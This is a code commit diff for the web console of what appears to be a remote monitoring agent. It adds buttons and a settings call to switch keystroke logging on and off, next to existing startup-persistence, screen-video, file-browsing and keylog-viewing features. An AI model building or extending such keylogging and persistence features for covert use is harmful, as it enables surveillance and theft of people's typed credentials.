feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build

lib/agent/web/app.js

@@ -15,6 +15,9 @@
   const startupState = document.getElementById("startup-state");
   const startupAdd = document.getElementById("startup-add");
   const startupRemove = document.getElementById("startup-remove");
+  const keylogState = document.getElementById("keylog-state");
+  const keylogEnable = document.getElementById("keylog-enable");
+  const keylogDisable = document.getElementById("keylog-disable");
   const videoCanvas = document.getElementById("video-canvas");
   const videoMeta = document.getElementById("video-meta");
   const videoStart = document.getElementById("video-start");
@@ -118,6 +121,10 @@
   async function loadStatus() {
     const res = await api("/api/v1/status");
     const data = await res.json();
+    const verEl = document.getElementById("app-version");
+    if (verEl && data.agent_version) {
+      verEl.textContent = data.agent_version;
+    }
     const fields = [
       ["Hostname", data.hostname],
       ["User", data.user],
@@ -128,10 +135,12 @@
       ["Uptime", `${data.uptime_seconds}s`],
       ["Local IPs", (data.local_ips || []).join(", ") || "—"],
       ["Startup", data.startup_enabled ? "enabled" : "disabled"],
+      ["klogging", data.klogging ? "on" : "off"],
     ];
     setStartup(Boolean(data.startup_enabled));
     currentListen = data.listen_address || "";
     syncUpdateMeta();
+    loadSettings().catch((err) => showError(err.message));
     statusFields.replaceChildren(
       ...fields.map(([label, value]) => {
         const item = document.createElement("div");
@@ -303,6 +312,29 @@
     startupRemove.disabled = !enabled;
   }
 
+  function setKeylog(enabled) {
+    keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
+    keylogEnable.disabled = enabled;
+    keylogDisable.disabled = !enabled;
+  }
+
+  async function loadSettings() {
+    const res = await api("/api/v1/settings");
+    const data = await res.json();
+    setKeylog(Boolean(data.klogging));
+  }
+
+  async function setKeylogEnabled(enabled) {
+    const res = await api("/api/v1/settings", {
+      method: "PUT",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ klogging: enabled }),
+    });
+    const data = await res.json();
+    setKeylog(Boolean(data.klogging));
+    loadStatus().catch((err) => showError(err.message));
+  }
+
   async function setStartupEnabled(enabled) {
     const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
     const data = await res.json();
@@ -682,6 +714,9 @@
       if (button.dataset.tab === "logs") {
         listKeylogs().catch((err) => showError(err.message));
       }
+      if (button.dataset.tab === "settings") {
+        loadSettings().catch((err) => showError(err.message));
+      }
     });
   });
 
@@ -694,6 +729,12 @@
   startupRemove.addEventListener("click", () => {
     setStartupEnabled(false).catch((err) => showError(err.message));
   });
+  keylogEnable.addEventListener("click", () => {
+    setKeylogEnabled(true).catch((err) => showError(err.message));
+  });
+  keylogDisable.addEventListener("click", () => {
+    setKeylogEnabled(false).catch((err) => showError(err.message));
+  });
   document.getElementById("file-list").addEventListener("click", () => {
     listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
   });